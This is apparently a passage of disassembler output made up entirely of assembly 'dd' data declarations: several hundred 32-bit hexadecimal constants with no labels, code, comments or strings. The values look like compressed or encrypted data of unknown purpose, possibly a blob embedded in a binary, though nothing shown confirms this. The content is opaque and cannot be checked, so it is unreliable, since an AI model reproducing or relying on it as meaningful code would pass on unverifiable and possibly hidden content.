		dd 75CAD418h, 6DCB0785h, 0D7CFFFD5h, 0FC24B0BAh, 0CD95C02Bh
		dd 0F59CE0F5h, 6B09C764h, 1A701A38h, 9F36F795h,	0F3D22B25h
		dd 0A5657000h, 509D36E8h, 0F792064h, 2BB2C1B7h,	6B59B6Fh
		dd 0C1852957h, 5060B527h, 884B0DF9h, 9ECA5A9h, 3E6C927h
		dd 8A9D296Fh, 886C5D19h, 85754603h, 0E8383968h,	0EE7135EDh
		dd 0CD910165h, 0B3F9EB58h, 88E62F36h, 0E7CABF3Dh, 3FAB5F15h
		dd 0CB930083h, 0C5A2D3F9h, 7F125F8h, 9601EC5h, 9520D995h
		dd 755EC69Ch, 44D6B0F3h, 4E0CC937h, 0E5DE16B8h,	52AB02C0h
		dd 0F2620A8Ch, 5730E55Ah, 0D4A56EC5h, 0AE09D43Eh, 63DE013Ch
		dd 100FA3BFh, 1F1F7160h, 0C301E1FFh, 3A218825h,	0F6F1292Bh
		dd 0C27ECD2Bh, 756035F6h, 0D213D8D5h, 850453B9h, 8EAF33F9h
		dd 0C4092297h, 0AF026DA4h, 0C022978Eh, 743797h,	799FF202h
		dd 94CD34Eh, 0E4C52AC7h, 6BAE605Bh, 395006Ah, 0B445D8AEh
		dd 5F605C34h, 55072118h, 54E8533h, 88BB2917h, 2BE361B2h
		dd 88C36C91h, 0FA34182Eh, 0F88119DDh, 691C482Eh, 9BA9B389h
		dd 94A6A079h, 0DC17006Bh, 995610DEh, 937D010Bh,	8CA09C09h
		dd 0D67F54F0h, 0DC091646h, 38713F7Fh, 0AC5D90A7h, 0E1700062h
		dd 44F57C71h, 0B84FDD33h, 57047349h, 81B97A37h,	69306B5Fh
		dd 0DD20DAE2h, 0C71169BDh, 0FF4080EFh, 24A4C8Bh, 8E3F942Ah
		dd 9AD770D0h, 0B795D84Ah, 60271BC5h, 0B75FFB64h, 0F2AD5DF6h
		dd 61909F20h, 181206B0h, 16BF9AE3h, 2FA184Fh, 1E0ABB61h
		dd 0FA15EE3Eh, 58164F29h, 2EE035B6h, 18955CDAh,	25BD2378h
		dd 5DCE2B0Dh, 48C8515Ah, 0B11600C1h, 13A84EECh,	0A27489B5h
		dd 5D117701h, 6DE95F8Dh, 0B16D3225h, 0BA0165B8h, 0C4F3C09Dh
		dd 3D508E53h, 0D7A3AAh,	0CE4CCFFAh, 0E83E56BFh,	0F9581B09h
		dd 0BD6A7012h, 9FDEF838h, 0C7FDB500h, 7C8C66Ah,	208D90B8h
		dd 5B4B1C09h, 0F5826098h, 0D202616h, 3F099F32h,	42AF5E59h
		dd 0B198024Ch, 0E9615C07h, 89009957h, 62FE1C92h, 45CF5A0h
		dd 2040152Eh, 73A366h, 36B68AEBh, 79C8D8BBh, 0C57CF16Eh
		dd 0F4FF035Bh, 52489692h, 92957422h, 78B17BDFh,	8500B121h
		dd 0FBBDF06Ch, 0C24C466h, 0E9CCA468h, 6095FA7Fh, 1375BD9h
		dd 0D2BF0E35h, 0A0CEE4Eh, 1CB04256h, 9037A249h,	504BE650h
		dd 0BF1E4042h, 6F6E5209h, 0D6945638h, 0CB001B46h, 93DC7A5Bh
		dd 0A90E831Fh, 7792BB66h, 5880D0ECh, 48550F9Fh,	0FFC83D4Fh
		dd 0B2330063h, 0E6E5847Eh, 0FD13D74Ch, 76DB615Fh, 6A85BF81h
		dd 39E6899Ch, 0EB107108h, 1921D307h, 70939C5Dh,	0E63EE165h
		dd 0AAD5F0B1h, 45420F64h, 0C3F29D16h, 0BC312Ah,	5465EF81h
		dd 0E94815E6h, 68E9354Bh, 9F748186h, 85DCAC8Bh,	3CABF81h
		dd 1DDD9EA9h, 0BF66D04Ch, 0F7B93B2Dh, 9A5F8F12h, 40165CC9h
		dd 0B2B82162h, 9B00457Dh, 52C0B6FCh, 74A3D03h, 9F4B78B1h
		dd 0E0599918h, 0F934F544h, 7DC5AD46h, 991A45CEh, 7FF94BC9h
		dd 1523756Bh, 6E65831Ch, 0D13595A5h, 0F2165002h, 3A30DF4Bh
		dd 0E28B028Dh, 0E98256F9h, 0AD4C6F4h, 0ADD78001h, 889827AEh
		dd 9674C048h, 0CBD5D902h, 0CC605021h, 0E686E1h,	0D3D4FD30h
		dd 2161626Fh, 1F001BEEh, 3817A79Bh, 3FF779E6h, 9625C674h
		dd 0D72F6E37h, 8D01F4B8h, 83289926h, 4A92148Eh,	9C1DD0Eh
		dd 0A87B7985h, 2510883Dh, 1959CB53h, 7D059718h,	0E25FC4AFh
		dd 6CE7CE57h, 3BB548B1h, 1CB296B6h, 940530h, 0A561BE40h
		dd 60560D69h, 5120C390h, 83589533h, 97613440h, 0BDE8011Bh
		dd 659528A5h, 6FE371B6h, 0F9A8E484h, 895BC85Ah,	0D97DB103h
		dd 5DCE61F9h, 954ABD9Ah, 0E0B4A6DEh, 9702BF6h, 30F956B0h
		dd 90A7BD60h, 7EFD8A25h, 1646D618h, 0B318E05h, 0B5A60FF9h
		dd 29022E48h, 1A140D95h, 0EFBD4A5Ah, 86740C5h, 1C4983A4h
		dd 506F9F62h, 0AD2E9CB9h, 1A10B59Bh, 895E25E5h,	0CA1F2AB9h
		dd 9224FB94h, 802B30EBh, 9B58DDBh, 7EB15D77h, 5129C28Fh
		dd 9F3845AFh, 31AD8074h, 0C40F4E8h, 993B2CDEh, 198429BFh
		dd 0C19A90BFh, 2F55F933h, 1231B928h, 0B729B19Dh, 0CEF84BB9h
		dd 0B915D4D0h, 70981E09h, 96950CA9h, 9DB59DBAh,	0CE9A6101h
		dd 0F7CC145Dh, 80869933h, 9EE60716h, 0D80337C3h, 0DA0CF444h
		dd 2841B822h, 0D15A09FAh, 0B182CBFDh, 0D056628Eh, 0B2165951h
		dd 0F395057Bh, 0C076A74Dh, 0FFDEA540h, 0A903025Eh, 0C6E235E4h
		dd 400B6F77h, 0F0CFEECBh, 0FA580605h, 0A6046AEAh, 0AF1315B1h
		dd 19E5FD75h, 973DAD21h, 4BE88F4Ah, 0CB876E9Ah,	82B93048h
		dd 0E9257B6Fh, 0B7DB60B1h, 0C18B2C8Dh, 720ADEFEh, 0ADAB889Bh
		dd 56226109h, 0D9DF5A2Eh
		dd 2882F999h, 0BD0B2056h, 8940CF76h, 738278Dh, 5AEACA16h
		dd 5033E061h, 904F23B3h, 6D05116Eh, 0E96A8A08h,	4FC4BD9Eh
		dd 0DD212FC1h, 5CCE2255h, 1B848125h, 0A860ACFAh, 0D42C12AAh
		dd 60D5B00Bh, 76265FBEh, 0AE493D12h, 8EE461h, 24D6B4AFh
		dd 0B28B8556h, 0EF388600h, 0D1EEF56Eh, 0F12A2EA9h, 0BDB1091Fh
		dd 0AE614D84h, 4AC0BE9Eh, 0F2685D3h, 0C3058922h, 3F4DF7C8h
		dd 9D2D547Ch, 4482CD55h, 0BAA36019h, 9FD9F92Bh,	58913D30h
		dd 0C584A505h, 0D474AA2Ah, 0E0028Ch, 0D9DB81E1h, 0D4D0127Fh
		dd 28304412h, 0EF257C00h, 5A6E5095h, 5B8BB790h,	0FE255B6Ah
		dd 0FF899076h, 72440ED1h, 0CA4AC6ECh, 70983842h, 78CCFB95h
		dd 0B3A88F8Ch, 6A13EDF8h, 0D5D05602h, 71FABF90h, 17305AA2h
		dd 22DBAF48h, 8649A881h, 7C83F8C5h, 2AE55BB0h, 0AA00D5F7h
		dd 1E6D034h, 0DA162920h, 8C24EF1Dh, 80459EAFh, 0D014EFFEh
		dd 816E4A86h, 20E178h, 970E88E9h, 25484616h, 0E8FC5998h
		dd 0BBDF80DBh, 9290F40Bh, 0C42A566Fh, 81F434BDh, 0F0B5A060h
		dd 663A023Eh, 612432BAh, 9B690D5h, 0C1F94D85h, 0B84EED4Ah
		dd 9018C17h, 802025D0h,	132E99C7h, 117EBA63h, 0BB56620Ch
		dd 0A9D609DEh, 1BAC72A9h, 357708Ch, 0C5355933h,	0BBC4E1B1h
		dd 0C6848417h, 0B92785EEh, 0F096B878h, 0FF33007Eh, 819AB39Dh
		dd 541769DFh, 2F0501F9h, 0BAFD2111h, 0E809ABE8h, 7334B0FEh
		dd 3D4D1185h, 22A4CB29h, 72B805BFh, 0D1B06760h,	429F10Eh
		dd 0C11092ADh, 0ADBF0227h, 110E80DBh, 14E81125h, 0D4CAF017h
		dd 8200B7F6h, 0B19A328Dh, 9271CA8h, 3F64ED11h, 0EE77D705h
		dd 803CE5A2h, 0E05FDC92h, 0D309BF8Fh, 71737683h, 0BD090788h
		dd 7F4B384Dh, 9D12EB46h, 8EE22C45h, 89B50906h, 5FE2F19h
		dd 68B20F4Ah, 759E262h,	0F09B5809h, 2F1D6591h, 2F17EFD1h
		dd 8421B6B6h, 722D291Fh, 0C1A5E848h, 9DBF6617h,	50A7702Dh
		dd 47554C18h, 0B61E2158h, 2F6189E8h, 56047D71h,	3EAC5BF5h
		dd 0C31BC180h, 1004622h, 0CED08C80h, 6A1419FBh,	918932EAh
		dd 1C95809h, 20D2E9AEh,	0F9CC7810h, 482EE35Bh, 3182159Dh
		dd 12229B5h, 91DE8A51h,	2A7D4A74h, 9585D585h, 9D11734Ch
		dd 2FC81BE9h, 0F5BD2B8Bh, 96564962h, 11162BCAh,	91DA05B5h
		dd 0A548E985h, 70460033h, 0A7BE8EC5h, 0CD121DC0h, 9CE6EF8Ch
		dd 0FB6FB216h, 43C375DBh, 0FBD059A1h, 7B485C14h, 2B21261h
		dd 0E4950509h, 8A0F3A9Bh, 0B5FC23C4h, 6EAF195Fh, 35605A6Fh
		dd 4E180B0Ah, 0F7DEB0EEh, 344BFh, 4584DEA8h, 0DC4A16B8h
		dd 10286148h, 0B90B33C1h, 52D3104Fh, 2AA93D0h, 9D295C92h
		dd 0CD5634EDh, 0D8E1F892h, 6C7686D9h, 85BBEB0Fh, 9D550592h
		dd 94F3FA32h, 31B1F507h, 9E9890C4h, 0C05C2B5Dh,	165A7157h
		dd 0A65AF3B6h, 15F9D7B4h, 1E074EA8h, 2DBDBB65h,	0A90B0C73h
		dd 4D3930FDh, 7A5E893Bh, 726B0346h, 0A17FF99Fh,	532E894Bh
		dd 76FFFA7h, 0A7904C00h, 0E5FBAAB2h, 7452334Fh,	0F027A6AFh
		dd 97FD8AD2h, 1A56A63Ah, 85B604D4h, 0ABFCD92Bh,	1AC8C02Eh
		dd 2EE0EEC7h, 1E79584h,	0BDD781C6h, 3A5E3DCAh, 0C680E4DBh
		dd 0D2132FB9h, 4A4566EFh, 8127EBCAh, 0CB60A2CFh, 0ECD1320h
		dd 0B848DA32h, 96E3113h, 0DB722E25h, 95E16156h,	9C105B13h
		dd 0FF1616CDh, 80F79BE1h, 99B80E75h, 60DA2D95h,	2F018FD1h
		dd 0FDC6D9A0h, 7762DF68h, 1760565Fh, 87C23095h,	5CFB8B61h
		dd 0A7F751F7h, 4B945089h, 28D38E17h, 9D1213FFh,	0D3E328A1h
		dd 6093B688h, 8DB8F9FDh, 788942Ch, 561A3109h, 0E3514BCEh
		dd 99404C1Fh, 0E877A46Ch, 0B946040Ah, 0B8D5C0AFh, 0B5E04FA6h
		dd 92024BF9h, 0B2B12A4h, 1A355DC5h, 0A253B1ADh,	0C8C3DA2Ah
		dd 23CDC014h, 0FC92D5BDh, 0FEA2504Bh, 8957D600h, 293B1CFCh
		dd 475D5316h, 60F380FFh, 0A0059BEh, 33BF2617h, 626593A3h
		dd 2404B261h, 1D085074h, 6AA43D15h, 0FA07F478h,	65CD4CE4h
		dd 0C704E145h, 29140CD1h, 21FBD10h, 7EB06B68h, 0E99AC1FBh
		dd 73E56C6h, 52A05394h,	756D88Bh, 11A46D6h, 6A126980h
		dd 873B7E63h, 1614A255h, 806C7A5Ch, 0E9FF1733h,	0AB4AC512h
		dd 0EE314720h, 7BA10055h, 0C34E6944h, 8800E767h, 2C563DF7h
		dd 27B5095Fh, 0A67C1BE1h, 0BCE380E1h, 0E93A162Eh, 0F030EC50h
		dd 68D7620Bh, 0CB2E2261h, 0F6FB5423h, 519CF6BDh, 80FA3CFCh
		dd 0A78241D1h, 0CE680E14h, 28A9E7C3h, 7B5F3A5Fh, 897650CFh
		dd 644CED01h, 49EFA9FCh, 53E03A57h, 19DB260h, 0ECD77548h
		dd 20890234h, 5B48F972h, 6AFEA4BFh, 4F2E120Dh, 6E6AC8E1h
		dd 5ADE0002h, 0B7AA46FDh, 6F650B06h, 35D65150h,	0A4AD7940h
		dd 72D400D6h, 341821C2h, 0B602E04Eh, 9F0C074Ch,	281680E9h
		dd 3E0D440Fh, 0CF805783h, 0B3E738CEh, 8E0967E4h, 565B1508h
		dd 56EADE3h, 5A2F44BDh,	0E0E7E7B5h, 4BF40E79h, 313B301Eh
		dd 17408DBDh, 325A0968h, 8BDFEC86h, 0BBE7D633h,	6E30BF07h
		dd 5A5FB18Ch, 0A5DF2458h, 0D098D12Dh, 31A125CCh, 5B6BF159h
		dd 4A4E50F6h, 87E26400h, 0E5BFFC8Ah, 60DE04CBh,	0F104D380h
		dd 16972C2Ch, 64BF5BDFh, 0F96F9572h, 6EC5B9CFh,	5F4C4236h
		dd 6147494Ah, 0F7808FB7h, 2AFD9647h, 0CB194B0Dh, 0DF81010Ah
		dd 5105C954h, 9D24220Bh, 8FF865DBh, 87332186h, 0D835AFDDh
		dd 0D86B2700h, 1E8F518h, 33CB5798h, 6B2F4D9Dh, 10A039B7h
		dd 52B855F7h, 6676B201h, 61CD2BBAh, 98F1282Eh, 5DFD044Eh
		dd 7C3A98E8h, 2DD2480h,	5BA66B59h, 0AA03DE8Ah, 3EA96D57h
		dd 0CB80F0D9h, 0EC38BFC7h, 27840D25h, 503D15F9h, 7482DC03h
		dd 4FC7F8E3h, 2EEE252Bh, 0ED9537C4h, 7D5BE1B6h,	0B0876ACBh
		dd 0ABB07F09h, 0C8006CFDh, 0CA8D2A7Dh, 1B8B72BFh, 0DA626671h
		dd 0F395CFD6h, 181B5927h, 0A591008Dh, 1B051D9h,	600B50CAh
		dd 0FA61DE8Bh, 949D5AD7h, 0ACC6B914h, 7D958C1Ch, 0C062AF80h
		dd 9462344Eh, 2E4D60h, 26DBD89h, 0BC0D9697h, 0B274D4CFh
		dd 3DA33A5Eh, 70E4D946h, 0F2A69897h, 5BC4BB04h,	20BA400Dh
		dd 9F630107h, 6BA9A000h, 335E70Ah, 7B9E040Eh, 0AFC4D39Bh
		dd 0B0D41CFh, 2BF5959Dh, 0C54A41E3h, 80D0DBDAh,	11B58910h
		dd 9077822Bh, 0F8E8887Eh, 0D5313FD0h, 0FF5804Bh, 0E922DFB7h
		dd 0B4550008h, 9326F904h, 3A972089h, 75B5FDDCh,	0A29AE20Fh
		dd 0A0B523DEh, 4E175D34h, 0A1150B61h, 7609EDBBh, 0CF42335Fh
		dd 47812C3h, 91852976h,	4E438E2Ah, 0E209986Ah, 0F955A161h
		dd 9AB7090Bh, 91DD35DFh, 68428019h, 4C80F5Ch, 8D896086h
		dd 0F5D49109h, 9523E461h, 0F61AA929h, 3F0F3D08h, 4B809628h
		dd 0FE1EC3DEh, 0D2C780C0h, 0BB0476A4h, 758DBF17h, 42DE15BCh
		dd 59E97F35h, 5651145Eh, 0EB499612h, 7B52D1DAh,	96BECF34h
		dd 4F9B8205h, 139BE78h,	1F562E46h, 6FD9F26Ch, 5A0CC8h
		dd 0C3DD347Dh, 0D54B1EFCh, 0B2234D00h, 32717F0Eh, 34DA09D6h
		dd 0F0559D2Bh, 0A85B4BE3h, 7F2EAA18h, 0D6E800ECh, 0FB8B4F39h
		dd 40509A97h, 82267DB7h, 12BAEC77h, 291B559Dh, 0F2206E31h
		dd 18B7DCh, 16F3AAFAh, 891E8A63h, 6ADDC500h, 726728C4h
		dd 0D6507A43h, 5B8D826Eh, 0CDEB705Eh, 0E17E40A9h, 8A093637h
		dd 79509F13h, 0FDA04553h, 28FEC66h, 724A8475h, 1557C7A8h
		dd 2ADFAE16h, 8D4DB540h, 9C601564h, 0D009BB35h,	593AA814h
		dd 918C00DDh, 703FC36h
		dd 0A4658D00h, 7C76390Eh, 6CB71C90h, 2E58444Ah,	0A97AEEC6h
		dd 607F600h, 0DA4A5C35h, 0B79A9E97h, 0ED411ACDh, 0C16A87E9h
		dd 0EABD03C9h, 0C18BCC48h, 0C0D16DB5h, 84FDE05Bh, 14A69200h
		dd 31A2A999h, 0AB26D28Dh, 0DCE4B7E6h, 109D7A1Bh, 5E5367h
		dd 0EDBD1A0Fh, 506B3C38h, 85379B5h, 982F111Dh, 4EBD092Ah
		dd 0B914C429h, 7ACE889h, 0DE4D1EA6h, 6F0B7980h,	379FFDD8h
		dd 8C4594A8h, 0AD0A620Bh, 0DE585Ch, 0CE572551h,	0FECB8090h
		dd 0BA4F54Fh, 880550C0h, 500640D5h, 0A9B2BF3Dh,	4B2B978Dh
		dd 0C4D0BF79h, 0F13B0984h, 15EF960h, 6884E193h,	0BC3DFDAAh
		dd 0F44D008Ch, 91B1D5D7h, 7A03F661h, 0DE2870BFh, 97647A3Fh
		dd 18C5A794h, 0CAAE0EF5h, 8EB5E0A6h, 0BA4E142Eh, 760B9528h
		dd 0E0EDD1FFh, 7B2818C0h, 0B194973Dh, 0F13E2E45h, 25BF3DFAh
		dd 269CE002h, 0CD905EF3h, 0B4FC7A4Bh, 49196680h, 37014305h
		dd 10139558h, 11769035h, 0E9FC8A04h, 8D38AE1Fh,	9739906Ch
		dd 29E2A8CDh, 0C7D8C021h, 4B4A04BEh, 8C61237Bh,	0D600A7CFh
		dd 0CC01DA05h, 0B585418Ah, 0D45A54DBh, 0CB4EC293h, 0DDBE13E0h
		dd 271EBA0Bh, 0D36FF561h, 0BE961640h, 7DA1057Fh, 0F8210149h
		dd 0E50525F0h, 647D2588h, 95879F8Ah, 5104F829h,	76BD6159h
		dd 0C48BE94h, 57EAD825h, 40F2EFD7h, 928F2FE5h, 544C6297h
		dd 0FCFF8961h, 2A4A2978h, 0EC81279Eh, 204A9752h, 0CA25E339h
		dd 165CDCA4h, 0A286AC0Ch, 3D92286Eh, 0B06227A0h, 0D5051511h
		dd 17C17A98h, 0FC109D84h, 4E006894h, 0F4FF140Ch, 56C999h
		dd 31297950h, 0EC37E7ACh, 0D142AE97h, 0A6626025h, 9273DD7Ch
		dd 0C2560902h, 1E4A64A5h, 40368563h, 0A6EF2097h, 0DC099F6Fh
		dd 0DB06BAC6h, 11E48011h, 4FCF938Ch, 0B8B21D0Bh, 55830B2Dh
		dd 0BC212C04h, 1809942h, 3D5EF912h, 0AB3A503Eh,	84FCD100h
		dd 0D3DF9D33h, 0B6DB1248h, 0F129C8E5h, 860A2801h, 2A543040h
		dd 80BFC06Ah, 8B14D7DFh, 8096E8D1h, 7D23A6FBh, 585C00C3h
		dd 0F3CBBD80h, 810792E1h, 0CA253266h, 469ED350h, 5F7D0CD2h
		dd 0F3D9DE9h, 7F398651h, 8B87D2ECh, 49072FD8h, 9844054Eh
		dd 0BD10018Eh, 8A120DADh, 2868F1DDh, 0C6EBDh, 0C552B0BFh
		dd 48A49736h, 4BF95013h, 8509BE90h, 85A69D61h, 8A4A2354h
		dd 1ED044B9h, 0AE6E0600h, 7BC45B1Dh, 1CED5900h,	965903Ah
		dd 24F30BA0h, 93769A9Dh, 795F5B09h, 3326115Dh, 0DC8D8057h
		dd 1378BABh, 9F82DB81h,	5C2C2688h, 81958914h, 0BDDAB7C4h
		dd 85DC8454h, 0B1E8D3EDh, 4DF8B4Ch, 0C52DAAFh, 0A58B12BEh
		dd 44A67AF9h, 0B6910CF0h, 6506037Fh, 71E0FFA0h,	0F4525C8h
		dd 9F00F35Bh, 0B82BFE65h, 40DE030Ch, 530F0D18h,	0C145FFC8h
		dd 114A1BE6h, 9319DAFAh, 0D2666B70h, 85B74C27h,	0B9C05D3Ah
		dd 5B0FE338h, 61F072B6h, 0B458B241h, 34362427h,	22B98A16h
		dd 0AEF06035h, 1FE5A650h, 273A61CBh, 5CC729FAh,	1100DEBEh
		dd 0CEA78C85h, 0BFD0EA0h, 0D22B5612h, 7BF7671Ah, 8FCDA580h
		dd 490A4DADh, 0E5202CD0h, 0DDBF0433h, 0AF4CCAFBh, 18230B6Ah
		dd 53640100h, 5E8968AEh, 3AF2B58Dh, 75A9FE81h, 16D8E73Ch
		dd 1F4ADAEFh, 1BB2F9E6h, 8BF45532h, 68417703h, 0F35C0955h
		dd 5B79F411h, 0ADA0415Ah, 71E06C67h, 3458406Ah,	975D2212h
		dd 51443714h, 0AD2191F9h, 30002179h, 7177F341h,	90D5EABAh
		dd 8B395475h, 0FFCD955Fh, 9B611564h, 843165EFh,	9E1FFA1h
		dd 8B7DC9AAh, 5F2F0D0Ch, 0A044711Ch, 248AB352h,	64692785h
		dd 0F292F5Bh, 80E91B02h, 0A6EBFF19h, 0BF2125D3h, 521114E5h
		dd 1CF4FC6Bh, 0C7F96096h, 7BB7D3B8h, 519D04DDh,	9EB1634h
		dd 24790AE0h, 59BD2902h, 90CDD722h, 44981844h, 2A27008Fh
		dd 0BD23FCCFh, 71951A4Dh, 2DF09A2Ah, 3EDCA6D4h,	8F974D93h
		dd 1F7F054h, 410C1283h,	6F2DAA26h, 7BE36A2Ah, 0BD657C03h
		dd 0A2A8689Eh, 676B5E63h, 406D6529h, 61BB50A2h,	564A66F3h
		dd 0BDDD8A15h, 172A1FF4h, 1A279297h, 0C67C466Fh, 68031B10h
		dd 0D1797FF4h, 4656F9DAh, 0A5840B02h, 9BD072Eh,	600D3957h
		dd 0C620D3F5h, 613340EDh, 37118297h, 905532D6h,	3E4B90D9h
		dd 38FAA6F7h, 0AC4B01A3h, 0FEE3C0A0h, 0BC3119h,	0CEB7629Dh
		dd 4A4DB230h, 0D326A178h, 0FE89397Dh, 956870F7h, 46EDDF0Bh
		dd 182295E0h, 0B531277Fh, 2B15215Ah, 48B75BDh, 0D95BB66h
		dd 0C8D343BCh, 9B7D7F53h, 0D43AE800h, 0D8FAB6A6h, 0ED352D71h
		dd 9D04DE5Bh, 80282079h, 7CB8CB2Dh, 0E0EFF4BBh,	0D95F8B68h
		dd 4532EA82h, 8342274Eh, 46CA22FDh, 0DC73F604h,	39CA8F00h
		dd 0BC4E586Ah, 0B3962410h, 0B65F3A64h, 0B021E529h, 342E7CABh
		dd 0C8CDAAC1h, 4F09CB2Bh, 0DAF7D020h, 9562001Bh, 79F363F5h
		dd 51004B3Ah, 0F9CDB8D2h, 4E314ABDh, 4F17F80Fh,	3E10C5C8h
		dd 61026BCCh, 404E5404h, 990BF181h, 46A23E5Eh, 1282B574h
		dd 325D39E3h, 51F3531Dh, 0BEB9700Fh, 1D7E7D98h,	40E83A97h
		dd 8220992Ch, 0B36FF680h, 6088077Dh, 0C9D12C80h, 0E7D901E1h
		dd 26612009h, 80BB02C2h, 0E25F2F84h, 0A11ED59Bh, 0BC618DADh
		dd 0A27B6DEBh, 2934CDC8h, 0DE645037h, 3EE90615h, 0DC419C17h
		dd 5BEEC22Fh, 0B06725A1h, 3BBF3A56h, 606B1273h,	0F1FB49B3h
		dd 0A86129A5h, 0A4BBC0E6h, 9744DB48h, 104A7914h, 3AEC0BADh
		dd 0DCD85F00h, 6441DB89h, 29BD120Bh, 0E38EBC15h, 9B5E5EDAh
		dd 291AC08Bh, 5ADCFE5Ch, 2F65F177h, 68F96E13h, 8C1DACh
		dd 8DCECA12h, 0AD062F26h, 0FBF6FB26h, 2925D305h, 34CDCDABh
		dd 824BB606h, 2723B38Ch, 0EF0B399Dh, 0AB1C5Dh, 0CDC2A6E8h
		dd 234F350Bh, 2651A97h,	42241DCh, 15B250h, 4E5A891Dh, 25230E2Eh
		dd 52C283A5h, 0FE92D537h, 4E5AB3ABh, 107D870Eh,	51109C58h
		dd 19E64F1Bh, 12124B48h, 5E51E30Eh, 0EBAFCAC9h,	8E07D4Dh
		dd 5A58FD8h, 8D891A37h,	80ABD451h, 25189A3Eh, 50E6384Ah
		dd 753016B2h, 8D734B63h, 0E90B6E43h, 0DB14DD05h, 2FD98A52h
		dd 25F45B50h, 0D9D45162h, 0A2DD83DCh, 79057D20h, 2B41A1A5h
		dd 6AAE3675h, 22ED5F46h, 6AC49C82h, 13016461h, 21EA12F5h
		dd 170AB16h, 4B618531h,	0C1CC2422h, 7F8D094Bh, 827B98D9h
		dd 4E5F22D6h, 0DF80158Ch, 5229270h, 0A729BB04h,	54901BFDh
		dd 28E4E380h, 0F26B8F0Fh, 30CB52CFh, 1650F540h,	0A81B7E2Bh
		dd 4200AAD7h, 4F102D17h, 5D9025D4h, 0C594D025h,	346C1A15h
		dd 0E007CD55h, 0F9F152AEh, 781E8927h, 0FCCB00EDh, 8FD3BF96h
		dd 0D19F6F45h, 0FFF78012h, 0F5C19BB1h, 8F0120ECh, 26DD29FDh
		dd 0BB40E03Fh, 4E5B7D83h, 0E477A696h, 0A55EBCBAh, 80F12AAAh
		dd 0F91DD4A7h, 0B9BC09EDh, 3A55F88Bh, 500853E1h, 2A0E0EF7h
		dd 0C0A1B970h, 49BD232Ch, 6FE5B52Bh, 0A26EB571h, 43CD4AA1h
		dd 69B5206Ah, 711E2079h, 96C0136Dh, 81FDF7C8h, 80974CDFh
		dd 5FC0C93Fh, 4A3A1497h, 0EC9DB971h, 10EEBDE8h,	800779BDh
		dd 0A913BC3Fh, 4A2D9D54h, 4BB8648Bh, 0F388C61h,	0C0448C5Bh
		dd 5B8DD8Ah, 122E6E5Ah,	0E6BE1145h, 0CDD7099Dh,	600B7160h
		dd 0E7E9DE8Bh, 5F85C295h, 260126B7h, 0C18B71CEh, 0ACDE352Bh
		dd 9111061h, 50905B05h,	9E7BF852h, 0AF911781h, 0A0C38368h
		dd 3E0C321h, 0FC4EB95h,	0BAE4B731h, 893E34ACh, 45C6AF4Ah
		dd 3DB795A4h, 5864F425h, 0B79F6AFCh, 96368B0Ah,	9B7F10E4h
		dd 3768A301h
		dd 80986B67h, 6016C02Eh, 0D298AD19h, 649FF1EEh,	16CD2501h
		dd 4DCB8C54h, 58EC40F9h, 37075C30h, 0A186EDCBh,	8F60B1CAh
		dd 0A616DCh, 0B2FBA950h, 0D11C7296h, 904E4F7Dh,	0CAF9C8h
		dd 84546A8Dh, 0D687F8CBh, 0EB1C2572h, 2797F94Fh, 8AF002AEh
		dd 9DE09080h, 0EE13B008h, 0FC92F81Bh, 0B5E3C6BDh, 0FBAFF5D9h
		dd 0F673A739h, 2D701650h, 43FC0F75h, 2587502Dh,	0DF66FB8Bh
		dd 4816DCB0h, 350BC1F7h, 0A7940AD1h, 95BE58C9h,	7F45AD14h
		dd 2129E9DFh, 0E46E3E09h, 2F80A13Dh, 5ED28734h,	9BA0EEB3h
		dd 899D4F75h, 42B8286h,	9AB75524h, 570B9701h, 568553E4h
		dd 0AB5F0F7Bh, 1423916Bh, 0E925F820h, 8FE678Dh,	8848196Ah
		dd 328602D6h, 7C9D3E05h, 0CD0002D5h, 0A40B072Eh, 0A944D4D1h
		dd 0F16BD7F8h, 0A59F0E00h, 7213CF07h, 9404F75Eh, 4160B49h
		dd 91C0188h, 0BD00D590h, 5061C453h, 81C8F1BFh, 0FE5A2EBBh
		dd 0D4E36F55h, 5176902Dh, 0B88262DCh, 145C65B5h, 8187025Ah
		dd 0CB67D72Dh, 40424D2Fh, 59BD3374h, 4BB71D40h,	89298CBAh
		dd 0D74F2BEDh, 7FF6B36Ah, 1801BDE5h, 1DDA7D8Eh,	8866B609h
		dd 0F6262751h, 6F2F151Fh, 8B1242A7h, 0BB000604h, 1619610Fh
		dd 21333197h, 0C3A214h,	72B7E69Eh, 9D4C2873h, 581C851h
		dd 0EC4E88E8h, 30DBE60h, 169AD9BCh, 0F7B08304h,	30E1B061h
		dd 0E63AFF12h, 5F8BB770h, 0C2AEFC05h, 0D0928DE1h, 0E0973D56h
		dd 0D47E5189h, 3C2FAC76h, 7C99633h, 8180EBADh, 6758F7EBh
		dd 272B0E41h, 0BCFF4008h, 10014653h, 99B9B82Eh,	84792B64h
		dd 5F407DDCh, 0AB043EC9h, 0DB215D2Ah, 0C16DD95h, 0FF808480h
		dd 8B802999h, 0AF83BFD1h, 4F1A093Dh, 832B7AE9h,	2D1F9D22h
		dd 7158852Bh, 0F3C1504Ah, 0AB8B2B3h, 83DA7A64h,	2F4A6162h
		dd 0F44F3EB7h, 1209D0Ah, 47E92810h, 0D9B7270Eh,	0A912B45Eh
		dd 884AF8B3h, 8FB631DBh, 0B19B41E1h, 4A008B3Fh,	7488E599h
		dd 8B2031D9h, 0E2046282h, 5BF54901h, 95BF08E6h,	55793037h
		dd 0E78532D1h, 70ABE3E6h, 0B9B682AEh, 19102A20h, 0BEADEB80h
		dd 80F238FCh, 5F1EA8F3h, 0FF7F0F9Ch, 52F87349h,	2F12AAE3h
		dd 1488C02Bh, 0B26F03A3h, 927595E2h, 0D4BFD2F1h, 6B4A2099h
		dd 0DA5B22DBh, 88AC96DEh, 2D38E090h, 6184485Ch,	0B5010227h
		dd 29264971h, 0A9AD75DAh, 51946E30h, 15A839A9h,	0BACE278Ch
		dd 80F5CF1Ah, 55BBC278h, 5AB57C09h, 0A2EDE814h,	0C0C9A156h
		dd 2B2B5FD4h, 3C825E12h, 51EB54F5h, 0DDEB178Dh,	0BA8024BFh
		dd 293B021Bh, 0A95309Dh, 0E5BD31D1h, 1A3B4491h,	54D3350Dh
		dd 7171690Ah, 0D450BB00h, 1862C4h, 0DC0FB0BFh, 0CF66F496h
		dd 36497800h, 3156B624h, 0A4A14A8Dh, 0FF255B0Bh, 0C07F6DE1h
		dd 1D90C27Bh, 342DFEA0h, 1B5ABC5h, 1C988FEEh, 0F62704A2h
		dd 2F12DECCh, 37B2A162h, 0AB049284h, 0AF4AE77Ah, 0BE21A7C8h
		dd 8E9347FEh, 0ED1DA040h, 59BF2298h, 8060407Ch,	6125F1C3h
